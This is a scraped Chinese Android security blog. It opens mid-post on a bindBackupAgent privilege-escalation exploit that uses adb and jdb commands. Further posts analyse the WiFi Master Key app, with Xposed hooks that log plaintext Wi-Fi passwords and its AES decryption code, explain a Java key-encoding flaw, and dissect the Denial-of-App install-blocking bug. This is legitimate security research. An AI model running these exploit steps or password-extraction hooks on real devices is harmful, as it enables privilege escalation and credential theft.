os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
    for line in iter(p.stdout.readline, b''):
        if line.find(KW) != -1:
            print line
            os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()

test.sh

export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@

jdb命令:

threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")

修复:

Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。

References:

  • http://www.securityfocus.com/archive/1/535296/30/0/threaded
  • http://www.saurik.com/id/17
  • http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
  • http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29

WiFi万能钥匙蹭网原理详细剖析

注:该文最早受乌云编辑约稿,发表在http://drops.wooyun.org/papers/4976

wifi万能钥匙究竟有没有获取root之后偷偷上传密码?

本次测试版本号为3.2.3,首先通过可疑shell语句定位到疑问的问题代码:类名com.snda.wifilocating.f.ba

source_code_decomplied

source_code_decomplied

这段代码的作用是在有了root权限的情况下 将系统的wifi.conf拷贝出来到应用自己的目录,并赋予其全局可读写权限(其实这是个漏洞了…)。

对其做cross-ref查找引用之后可以发现,该函数主要在两个地方被直接调用。一个是com.snda.wifilocating.e.av:

savePrivateApsReq

savePrivateApsReq


这是一个api接口,主要功能是用于用户注册了之后备份自己的ap密码,同时在
cross-refs

cross-refs


WpaConfUploadActivity直接调用、GetBackupActivity中间接调用。第一个Activity在分析的版本中已经被从AndroidManifest中删除,而第二个Activity则是用户备份私有wifi时的对应的界面。这证实了备份的时候密码确实会被上传,而且从下文来看这个密码是完全可逆的。

不过在使用过程中,该应用并没有其他可疑的root行为操作。笔者打开了SuperSu的root执行监控,短暂的使用过程中也只发现了执行了上述的这一条命令。

supersu-monitor

Android系统Wifi连接API概述

Android系统通过WifiManager类来提供对Wifi的扫描、连接接口。应用在请求相应权限之后可以扫描、连接、断开无线等。在连接无线功能中,客户端基本上只要指定SSID,Pre-shared-key(即密码),就可以用代码的方式连接无线。连接一个WPA(2)无线典型代码如下,

wifiConfiguration.SSID = "\"" + networkSSID + "\"";
wifiConfiguration.preSharedKey = "\"" + networkPass + "\"";
wifiConfiguration.hiddenSSID = true;
wifiConfiguration.status = WifiConfiguration.Status.ENABLED;
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.TKIP);
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.CCMP);
wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.TKIP);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.CCMP);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.WPA);
int res = wifiManager.addNetwork(wifiConfiguration);
Log.d(TAG, "### add Network returned " + res);

wifi万能钥匙是怎么连接上无线的,密码从哪里来?

这也是争议较大的地方,首先该应用肯定是有云端存储了很多密码,因为应用会引导用户备份自己的密码,但这些密码有没有被滥用我们在客户端就不得而知了。在2月底的这次测试中,笔者先私有备份了自己建立的测试无线(注意不是分享),然后使用另外一个手机安装该客户端测试,该客户端的API请求接口并没有返回这个测试的无线的密码。不过这也可能只是个例说明不了什么,还是建议各位自行测试,但注意测试前清除保存的无线并给测试无线设定一个弱密码以免真的泄露了自己的密码。

无线密码获取分析

回到正题,笔者通过代理拦截到了该应用获取wifi密码的请求。应用发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密。首先为了证明其在本地最终还是会以明文出现,先取了个巧,没有去逆这个算法(虽然逆下也不会很困难),而是直接hook了系统添加无线的代码(回忆上文里密码就在NetworkConfiguration.preSharedKey里)。

部分HOOK代码:

Class wifimgr = XposedHelpers.findClass(
        "android.net.wifi.WifiManager",
        lpparam.classLoader);
XposedBridge.hookAllMethods(wifimgr, "addNetwork",
        new XC_MethodHook() {
            @Override
            protected void beforeHookedMethod(MethodHookParam param)
                    throws Throwable {
                WifiConfiguration configuration = (WifiConfiguration) param.args[0];
                if(configuration.preSharedKey != null)
                {
                    Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
                }
            }
        });
XposedBridge.hookAllMethods(wifimgr, "updateNetwork",
        new XC_MethodHook() {
            @Override
            protected void beforeHookedMethod(MethodHookParam param)
                    throws Throwable {
                WifiConfiguration configuration = (WifiConfiguration) param.args[0];
                if(configuration.preSharedKey != null)
                {
                    Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
                }
            }
        });
}

这是一个万能钥匙上传wifi ssid以及mac以请求密码的截图:

query_pwd_by_ssid

query_pwd_by_ssid

响应截图:

get_ret_pwd

get_ret_pwd

密码以AES可逆加密的形式通过pwd这个json key传递了回来。

同时,在其尝试通过这个密码连接目标无线的时候,本地hook模块也获取到了真实的明文密码:

hook_pwd_output

hook_pwd_output

个人备份分析

而个人备份模块,也就是直接会读取wifi.conf的模块,是通过findprivateap和saveprivateap这两个json api method进行,具体的http请求逻辑在com.snda.wifilocating.e.av中可以找到,这个类也基本上囊括了所有万能钥匙的api请求逻辑。

备份时的请求:把整个wifi.conf全部上传了上去。

upload_wpa_supplicant_conf

upload_wpa_supplicant_conf

而恢复备份时,只是将密码从云端拖了下来。

其他连接方式分析

除此之外,Wifi万能钥匙还自带了2000条的数据库记录在ap8.db中,记录了常见的弱密码。
weak-pwd-2
例如
weak-pwd-1

这些密码用在所谓的“深度连接”功能中,其实按代码逻辑来看就是一个wifi密码爆破,每次在字典中尝试10个密码。看下logcat就很明显。

I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
D/SupplicantStateTracker( 818): Failed to authenticate, disabling network 1
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
I/wpa_supplicant( 884): wlan0: Trying to associate with 5c:a4:8a:4d:09:a0 (SSID='aaaaaaaaa' freq=2412 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5c:a4:8a:4d:09:a0
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5c:a4:8a:4d:09:a0 reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
I/wpa_supplicant( 884): wlan0: Trying to associate with 5e:aa:aa:aa:aa:aa (SSID='aaaaaaaaa' freq=2462 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5e:aa:aa:aa:aa:aa
D/dalvikvm(13893): GC_CONCURRENT freed 356K, 4% free 18620K/19220K, paused 9ms+2ms, total 29ms
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5e:aa:aa:aa:aa:aa reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20

Wifi密码加解密分析

当然真正去逆向加密代码也不是很困难,简单的搜寻即可得到解密代码:(部分直接从反编译的代码中抠出,风格未做修饰)

public class AESFun {
  String a =//略去;
  String b = //略去;
  String c = //略去;
  Cipher cipher;
  IvParameterSpec spec;
  SecretKeySpec secretKeySpec;
  void init() throws NoSuchAlgorithmException, NoSuchPaddingException {
        spec = new IvParameterSpec(b.getBytes());
        secretKeySpec = new SecretKeySpec(a.getBytes(), "AES");
        cipher = Cipher.getInstance("AES/CBC/NoPadding");
  }
  public final String b(String arg7) throws Exception {
    byte[] array_b1;
    byte[] array_b = null;
    int i = 2;
    String string = null;
    {
        try {
            this.cipher.init(2, secretKeySpec, spec);
            Cipher cipher = this.cipher;
            if(arg7 != null && arg7.length() >= i) {
                int i1 = arg7.length() / 2;
                array_b = new byte[i1];
                int i2;
                for(i2 = 0; i2 < i1; ++i2) {
                    String string1 = arg7.substring(i2 * 2, i2 * 2 + 2);
                    array_b[i2] = ((byte)Integer.parseInt(string1, 0x10));
                }
            }
            array_b1 = cipher.doFinal(array_b);
        }
        catch(Exception exception) {
            StringBuilder stringBuilder = new StringBuilder("[decrypt] ");
            string = exception.getMessage();
            StringBuilder stringBuilder1 = stringBuilder.append(string);
            string = stringBuilder1.toString();
            exception.printStackTrace();
            throw new Exception(string);
        }
        string = new String(array_b1);
    }
    return string;
}

将API请求中获取的16进制pwd字段代入解密程序,得到的结果是如下格式:[length][password][timestamp]的格式,如下图所示,中间就是目标无线明文密码。

decrypted_pwd

decrypted_pwd

此外接口请求中有一个sign字段是加签,事实上是把请求参数合并在一起与预置的key做了个md5,细节就不赘述了。这两个清楚了之后其实完全可以利用这个接口实现一个自己的Wifi钥匙了。

总结

此版本的WiFi万能钥匙不会主动把root之后手机保存的无线密码发向云端但在做备份操作(安装时默认勾选自动备份)时会发送,当有足够的用户使用该应用时,云端就拥有了一个庞大的WiFi数据库,查询WiFi的密码时,应用会发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密,本地解密后连接目标WiFi。同时内置了常见的2000条WiFi弱口令,在云端没有该WiFi密码的时候,可以尝试爆破目标的密码。

[译]当EFBFBD来敲门 – 对Java中字符串与byte数组转换的观察及相关的安全隐患

当EFBFBD来敲门 – 对Java中字符串与byte数组转换对一个观察及相关的安全隐患

我(指原作者,下文同)正在进行一个激动人心的Android应用安全审计,发现了如此多的漏洞以至于我觉得对于开发来说全部推倒重写都比修掉发现的这么多漏洞省事。正在我洋洋得意的时候,忽然发现在hook的输出中有如下有些奇怪的加密key,喜悦和兴奋变成了疑惑和好奇:

Entryption Key:

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

为什么这个加密密钥有如此多重复的’EFBFBD’字符串模式?难道是subustrate hook代码写错了,还是开发者在生成key的时候犯了错误,还是说这压根是打印错了并不是应用真正用来加密的密钥?

从源代码寻找原因

虽然我并没有这个应用的源代码,但不是可以反编译的嘛。通过包括动态hook和静态阅读混淆过的源代码在内的一系列方法和手段,我们能确认说hook代码并没有错,输出也就是我们想要的加密key. 那么下一步就是需要分析这个奇怪的key的生成方式,隐患也就在这里隐藏着。

出于简便起见,我们编写了一个简单的样例应用来复现这个问题。代码如下:

public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
    getPassword().toCharArray(), getSalt(), 20000, 256);
try {
    byte[] theKey =
        SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")
            .generateSecret(localPBEKeySpec).getEncoded();
    return new String(theKey);
} catch (InvalidKeySpecException e) {
    e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
    e.printStackTrace();
}
return null;
}

你发现问题在哪里了吗?没有的话也不要担心,我们下面会来具体进行分析。

大体上来说,这个函数使用用户的密码派生出一个加密密钥。这个加密密钥用来加密保护所有保存在设备中的该应用私有信息资源。首先这个应用将用户的密码,盐值,迭代次数(这里是20000轮)和想要得到的密钥长度(256bits)一起作为参数创建PBEKeySpec密钥生成器,随后用它生成一个加密密钥并存储到byte数组中。到这里来说一切都还是正常的,但是下一句看似无辜的将byte array转换成String的语句就是真正的罪魁祸首。

我们来在这段代码中插入bytesToHex这样十六进制输出语句,以获得key十六进制的输出并进行前后对比

public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
    getPassword().toCharArray(), getSalt(), 20000, 256);
try {
    byte[] theKey =
        SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
            .generateSecret(localPBEKeySpec).getEncoded();
    Log.i(_TAG, “Key (Before Casting): ” +
        bytesToHex( theKey ) );
    return new String(theKey);
}
..snip..
}
public static void test() {
String theKey = genKey();
Log.i(_TAG, “Key (After Casting): ” +
    bytesToHex(theKey.getBytes()));
}

得到的输出是:转换前

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

转换后

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

Android中byte数组到字符串的转换

目前来说我们已经能够确定,这个奇怪的EFBFBD是因为bytearray到string的转换引入的,那EFBFBD究竟是个什么意思?(译者注:其实就是�符号)

根据Android文档,”Android平台默认的编码是UTF-8(注意这和一些旧的编码基于用户地区的系统相反).” 在UTF-8中,’EFBFBD’这个十六进制字符串代表替换字符(replacement character).简单来说,一个替换字符的作用是代替一个未知或无法表示的传入字符(译者注:Unicode字符单字节是0x00-0x7F的范围)。这意味着转换后的String中,每一个EFBFBD序列都对应着原始字符串中的一个无法表示的byte(或者说两个hex position)。为了证实这个想法,我们将转换后的字符串中的EFBFBD做一个替换:

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3
!!******603466**7B**6C24E2B2AA576A******0C6B********76**********

(注:”!!”是Android在转换时没有包括第一个byte,为了对齐而加上) 这个对比直观地展示了非法的Unicode byte都被星号所代替,也就是EFBFBD的位置。

其他系统中byte数组到字符串的转换

在观察了Android系统中这个并不寻常的行为之后,我们来看看其他平台上的行为。首先看看Windows。

这里要注意的是我们加了一句获取charset的代码,因为根据Java文档:”Java程序中默认字符集在JVM启动的时候设置,一般由操作系统的区域和字符集决定”。

public static String genKey(){
PBEKeySpec localPBEKeySpec = new PBEKeySpec(
    getPassword().toCharArray(), getSalt(), 20000, 256);
try {
    byte[] theKey =
        SecretKeyFactory.getInstance(“PBKDF2WithHmacSHA1”)
            .generateSecret(localPBEKeySpec).getEncoded();
    System.out.println(“Key (Before Casting): ” +
    bytesToHex( theKey ) );
    return new String(theKey);
 }
 ..snip..
 }
 return null;
 }
public static void main(String[] args) {
System.out.println(“Default Charset: ” +
    Charset.defaultCharset().name());
String theKey = genKey();
System.out.println(“Key (After Casting): ” +
bytesToHex(theKey.getBytes()));
}

在Eclipse, Windows 8.1(x64)上运行之后,我们得到了如下的输出:

`\ Default Charset:

windows-1252

Key (Before Casting):

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

Key (After Casting):

B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3 `\

虽然转换前后key看起来基本相同,第四个字节却略有区别。原始字符串中是8D,转换之后变成了3F。这是因为在这次测试中,目标操作系统的字符集是Windows-1252/CP-1252,根据MSDN文档,0x81, 0x8D, 0x8F, 0x90和0x9D是未定义并被Windows保留的。因此String转换发生之后,8D字符就被替换为了3F字符,也就是’?’——问号

其他操作系统结果列举

转换前的key(这个对于每个平台当然都是相同的)

B7B0F88D603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

Android 4.3 Key (转换后):

EFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

Windows 8.1 (转换后):

B7B0F83F603466CF7BF26C24E2B2AA576AAFC5E90C6BD4EECCC576B9D7F1E9C3

Ubuntu 12.04 (转换后):

EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

Mac OS X 10.10 (转换后):

EFBFBDEFBFBDEFBFBDEFBFBD603466EFBFBD7BEFBFBD6C24E2B2AA576AEFBFBDEFBFBDEFBFBD0C6BEFBFBDEFBFBDEFBFBDEFBFBD76EFBFBDEFBFBDEFBFBDEFBFBDEFBFBD

总结

本文分析了加密代码使用中常出现的一种错误转换问题,并指出了这种安全隐患的危害:会导致生成的密钥中出现大量的重复内容,增加了被爆破的风险。譬如说本文中提到的这个测试应用,它使用用户的密码生成一个加密密钥,但因为这个漏洞导致了密钥出现重复单元,降低了信息熵,也就是被爆破的难度。

参考

原文: http://blog.gdssecurity.com/labs/2015/2/18/when-efbfbd-and-friends-come-knocking-observations-of-byte-a.html

  • http://developer.android.com/reference/java/nio/charset/Charset.html
  • http://www.fileformat.info/info/unicode/char/0fffd/index.htm
  • http://docs.oracle.com/javase/7/docs/api/java/nio/charset/Charset.html#defaultCharset()
  • http://en.wikipedia.org/wiki/Windows-1252
  • http://msdn.microsoft.com/en-us/goglobal/cc305145.aspx
  • http://en.wikipedia.org/wiki/UTF-8

Denial of App -PackageManager占位拒绝安装漏洞-Google Bug 13416059 分析:

Denial of App – Google Bug 13416059 分析:
Author: hqdvista,转载注明出处。该文也已发布在drops.wooyun.org.
Soot作者Eric Bodden所在的实验室, Secure Software Engineering最近宣布他们将在SPSM’14上讲述名为Denial-of-App-Attack的Android系统漏洞,影响4.4.3之前的机型,并给出了poc和对应的google commit id. 这个在googlecode上对应的链接是https://code.google.com/p/android/issues/detail?id=65790。
POC:https://github.com/secure-software-engineering/denial-of-app-attack
该问题可以导致攻击者可以指定应用使其无法安装在手机上,除非有root权限或者factory reset手机。可以被木马用来占位拒绝杀毒软件的安装,或者占位拒绝竞品安装。下面是根据commit diff和poc给出的漏洞具体分析。
###问题现象:
下载安装这个POC,可以看到其实就是指定一个packagename,例如com.taobao.taobao,然后生成了一个malformed的APK并执行安装,由于该APK的dex是非法的,安装的时候会报告INSTALL_FAILED_DEXOPT并安装失败。但如果随后安装真正的com.taobao.taobao时,即使指定了重新安装选项(pm install -r),却会报INSTALL_FAILED_UID_CHANGED,导致后续安装失败,而在被占位的手机上已安装应用中却找不到com.taobao.taobao,自然也无法清除掉占位的幽灵,造成真正的淘宝应用完全无法安装,推而广之可以用在360等杀毒软件上。
正常应用无法安装
正常应用无法安装
POC
POC
###问题本质:
Google的diff对此问题的描述是:

We&#039;d otherwise leave the data dirs & native libraries lying around. This will leave the app permanently broken because the next install of the app will fail with INSTALL_FAILED_UID_CHANGED. Also remove an unnecessary instance variable. Cherry-pick from master Bug 13416059

通过观察可以发现,第一次安装(所谓“占位”)结束的时候,在/data/data/目录下已经有了com.taobao.taobao目录并分配了一个uid,例如u70(10070),但第二次安装的时候,PackageManager却出现了UID_CHANGED的error,而没有复用u70,这是为什么?
uid
INSTALL_FAILED_DEXOPT和UID_CHANGED是在如下代码块中:

3622    private PackageParser.Package scanPackageLI(PackageParser.Package pkg,
3623            int parseFlags, int scanMode, long currentTime, UserHandle user) {
//....
4141        if ((scanMode&SCAN_NO_DEX) == 0) {
4142            if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143                    == DEX_OPT_FAILED) {
4144                mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145                return null;
4146            }
4147        }

scanPackageLI函数流程大概如下:

/**/
//检查是否系统应用
/**/
//检查Package是否重复,否则抛出PackageManager.INSTALL_FAILED_DUPLICATE_PACKAGE
  // Initialize package source and resource directories
3686        File destCodeFile = new File(pkg.applicationInfo.sourceDir);
3687        File destResourceFile = new File(pkg.applicationInfo.publicSourceDir);
//...
 // Just create the setting, don&#039;t add it yet. For already existing packages
3812            // the PkgSetting exists already and doesn&#039;t have to be created.
3813            pkgSetting = mSettings.getPackageLPw(pkg, origPackage, realName, suid, destCodeFile,
3814                    destResourceFile, pkg.applicationInfo.nativeLibraryDir,
3815                    pkg.applicationInfo.flags, user, false);
//在这之后uid已经被指定了
/**/
//检查签名
//检查Provider权限
//开始创建目录
   final long scanFileTime = scanFile.lastModified();
3926        final boolean forceDex = (scanMode&SCAN_FORCE_DEX) != 0;
3927        pkg.applicationInfo.processName = fixProcessName(
3928                pkg.applicationInfo.packageName,
3929                pkg.applicationInfo.processName,
3930                pkg.applicationInfo.uid);
3931
3932        File dataPath;
3933        if (mPlatformPackage == pkg) {
//omit
3937        } else {
3938            // This is a normal package, need to make its data directory.
3939            dataPath = getDataPathForPackage(pkg.packageName, 0);
3940
3941            boolean uidError = false;
3942
3943            if (dataPath.exists()) {
3944                int currentUid = 0;
3945                try {
3946                    StructStat stat = Libcore.os.stat(dataPath.getPath());
3947                    currentUid = stat.st_uid;
3948                } catch (ErrnoException e) {
3949                    Slog.e(TAG, "Couldn&#039;t stat path " + dataPath.getPath(), e);
3950                }
3951
3952                // If we have mismatched owners for the data path, we have a problem.
3953                if (currentUid != pkg.applicationInfo.uid) {
3954                    boolean recovered = false;
3955                    if (currentUid == 0) {
3956                     //omit...
3969                    }
3970                    if (!recovered && ((parseFlags&PackageParser.PARSE_IS_SYSTEM) != 0
3971                            || (scanMode&SCAN_BOOTING) != 0)) {
3972                        // If this is a system app, we can at least delete its
3973                        // current data so the application will still work.
3974                        //omit...
4001                    } else if (!recovered) {
4002                        // If we allow this install to proceed, we will be broken.
4003                        // Abort, abort!
4004                        mLastScanError = PackageManager.INSTALL_FAILED_UID_CHANGED;
4005                        return null;
4006                    }
                 } else {//目录不存在,新建立
4029                if (DEBUG_PACKAGE_SCANNING) {
4030                    if ((parseFlags & PackageParser.PARSE_CHATTY) != 0)
4031                        Log.v(TAG, "Want this data dir: " + dataPath);
4032                }
4033                //invoke installer to do the actual installation
4034                int ret = createDataDirsLI(pkgName, pkg.applicationInfo.uid);//建立目录
4035                if (ret < 0) {
4036                    // Error from installer
4037                    mLastScanError = PackageManager.INSTALL_FAILED_INSUFFICIENT_STORAGE;
4038                    return null;
4039                }
4040
4041                if (dataPath.exists()) {
4042                    pkg.applicationInfo.dataDir = dataPath.getPath();
4043                } else {
4044                    Slog.w(TAG, "Unable to create data directory: " + dataPath);
4045                    pkg.applicationInfo.dataDir = null;
4046                }
4047            }
//omit...
//拷贝nativeLibrary
//omit...
//进行DexOpt
4141        if ((scanMode&SCAN_NO_DEX) == 0) {
4142            if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0)
4143                    == DEX_OPT_FAILED) {
4144                mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
4145                return null;
4146            }
4147        }

那么漏洞的原理就很清楚了,第一次占位安装时,故意让PMS在数据目录已分配uid并写入了/data/data/下之后走到dexopt时使其报错,导致安装异常终止,此时已放置的数据目录却没有被清除掉。第二次安装的时候package被分配了新的的uid,但此时已有同名却不同uid的数据目录存在,导致uid_changed错误,安装失败。
为什么第二次安装的时候就会被分配不同的uid?关键在于 mSettings.getPackageLPw,辗转ref到/frameworks/base/services/java/com/android/server/pm/Settings.java

private PackageSetting getPackageLPw(String name, PackageSetting origPackage,
359            String realName, SharedUserSetting sharedUser, File codePath, File resourcePath,
360            String nativeLibraryPathString, int vc, int pkgFlags,
361            UserHandle installUser, boolean add, boolean allowInstall) {
//omit...
    } else {
423                p = new PackageSetting(name, realName, codePath, resourcePath,
424                        nativeLibraryPathString, vc, pkgFlags);
425                p.setTimeStamp(codePath.lastModified());
426                p.sharedUser = sharedUser;
427                // If this is not a system app, it starts out stopped.
428                if ((pkgFlags&ApplicationInfo.FLAG_SYSTEM) == 0) {
429                    if (DEBUG_STOPPED) {
430                        RuntimeException e = new RuntimeException("here");
431                        e.fillInStackTrace();
432                        Slog.i(PackageManagerService.TAG, "Stopping package " + name, e);
433                    }
434                    List<UserInfo> users = getAllUsers();
435                    if (users != null && allowInstall) {
436                        for (UserInfo user : users) {
437                            // By default we consider this app to be installed
438                            // for the user if no user has been specified (which
439                            // means to leave it at its original value, and the
440                            // original default value is true), or we are being
441                            // asked to install for all users, or this is the
442                            // user we are installing for.
443                            final boolean installed = installUser == null
444                                    || installUser.getIdentifier() == UserHandle.USER_ALL
445                                    || installUser.getIdentifier() == user.id;
446                            p.setUserState(user.id, COMPONENT_ENABLED_STATE_DEFAULT,
447                                    installed,
448                                    true, // stopped,
449                                    true, // notLaunched
450                                    null, null);
451                            writePackageRestrictionsLPr(user.id);
452                        }
453                    }
454                }
455                if (sharedUser != null) {
456                    p.appId = sharedUser.userId;
457                } else {
458                    // Clone the setting here for disabled system packages
459                    PackageSetting dis = mDisabledSysPackages.get(name);
460                    if (dis != null) {
//omit..
484                    } else {
485                        // Assign new user id
486                        p.appId = newUserIdLPw(p);//关键点
487                    }
488                }

继续查看newUserIdLPw

private int newUserIdLPw(Object obj) {
2360        // Let&#039;s be stupidly inefficient for now...
2361        final int N = mUserIds.size();
2362        for (int i = 0; i < N; i++) {
2363            if (mUserIds.get(i) == null) {//检查空位
2364                mUserIds.set(i, obj);
2365                return Process.FIRST_APPLICATION_UID + i;
2366            }
2367        }
2368
2369        // None left?
2370        if (N > (Process.LAST_APPLICATION_UID-Process.FIRST_APPLICATION_UID)) {
2371            return -1;
2372        }
2373
2374        mUserIds.add(obj);
2375        return Process.FIRST_APPLICATION_UID + N;
2376    }

mUserIds是一个PackageSettings的数组状结构,维护了当前的userid,并在安装时遍历进行分配。在第一次恶意的占位安装中,mUserIds这个array状结构已经被添加了一个PackageSettings进去,形成类似于[PackageSetting{(10001, bla)},…,PackageSetting{(10070, com.taobao.taobao)}]的结构,但在dexopt failed的时候最末尾一项没有被移除。随后再安装时,newUserIdLPw会遍历mUserIds,发现没有空位,就会在末尾重新添加一个,形成[PackageSetting{(10001, bla)},…,PackageSetting{(10070, com.taobao.taobao)},PackageSetting{(10071, com.taobao.taobao)}]的结构,导致两次安装分配的UID不同,触发INSTALL_FAILED_UID_CHANGED。
但值得注意的是,这时候mUserIds并没有被固化在packages.xml和packages.list中。
###进一步思考:
那么这样肯定会想到,如果杀掉system_server(软重启),让其重新扫描并建立mUserIds数组不就能修复这个问题了?
理论上来说,如果在重启前没有安装过其他应用的话,那么这还真是可行的。因为重启后重新建立的uid数组是[(10001, bla),…,(10069, haha)],那么重新安装的com.taobao.taobao刚好能占到10070的位置,皆大欢喜。
但如果在重启后又安装了其他应用,那么其就会占掉10070的位置,导致taobao再安装的时候以10071及之后的uid就拿不回原来应该属于它的/data/data/com.taobao.taobao了… what a pity.
以上在stock rom(Genymotion, SDK)和小米2、Nexus等上验证通过。
所以现在看来,原作者说只有root或者reset才能清除这个问题的说法似乎不准确,至少从给出的poc和google的diff来看实验结果某些情况下重启就能fix。总体来说,这是一个比较好玩的trick类漏洞,而且从issuelink来看,应该还有一些其他类型的同样效果的漏洞存在。
###Google对此的修复:
Google的diff主要是添加了SCAN_DELETE_DATA_ON_FAILURES的flag,在设置了该flag的时候安装失败时会删除遗留掉的文件。

@@ -4644,6 +4643,10 @@
         if ((scanMode&SCAN_NO_DEX) == 0) {
             if (performDexOptLI(pkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0, false)
                     == DEX_OPT_FAILED) {
+                if ((scanMode & SCAN_DELETE_DATA_ON_FAILURES) != 0) {
+                    removeDataDirsLI(pkg.packageName);
+                }
+
                 mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
                 return null;
             }
@@ -4721,6 +4724,10 @@
                     PackageParser.Package clientPkg = clientLibPkgs.get(i);
                     if (performDexOptLI(clientPkg, forceDex, (scanMode&SCAN_DEFER_DEX) != 0, false)
                             == DEX_OPT_FAILED) {
+                        if ((scanMode & SCAN_DELETE_DATA_ON_FAILURES) != 0) {
+                            removeDataDirsLI(pkg.packageName);
+                        }
+
                         mLastScanError = PackageManager.INSTALL_FAILED_DEXOPT;
                         return null;
                     }

###如何fix某个占位攻击:
root下删除该数据目录即可,非root。。。那只能reset了。

一种Android沙盒中监控root命令执行的方法 (Enable command logging in Android)

author: hqdvista a.k.a flanker017
原创,转载请注明出处

0x01 Root下命令记录的情况

在Android应用中,有各种各样的应用都会去执行命令,很多灰色应用则是调用su去执行一些见不得人的勾当。一般来说执行root命令在framework层会这么做:

public static String execSuCommand(String cmd) throws IOException
    {
        Process process = Runtime.getRuntime().exec("su");
        DataOutputStream os = new DataOutputStream(process.getOutputStream());
        os.writeBytes(cmd+"n");
        os.flush();
        os.writeBytes("exitn");
        os.flush();
        BufferedReader reader = new BufferedReader(new InputStreamReader(
                process.getInputStream()));
        int read;
        char[] buffer = new char[4096];
        StringBuffer output = new StringBuffer();
        while ((read = reader.read(buffer)) > 0) {
            output.append(buffer, 0, read);
        }
        reader.close();
        os.close();
        return output.toString();
    }

当然,在native层直接调用su也可以。那沙盒监控中的需求就来了:如何监控到app执行了什么样的shell命令?
Continue reading

ACTF-misc300官方writeup

author: hqdvista a.k.a flanker017

0x01 数据包分析

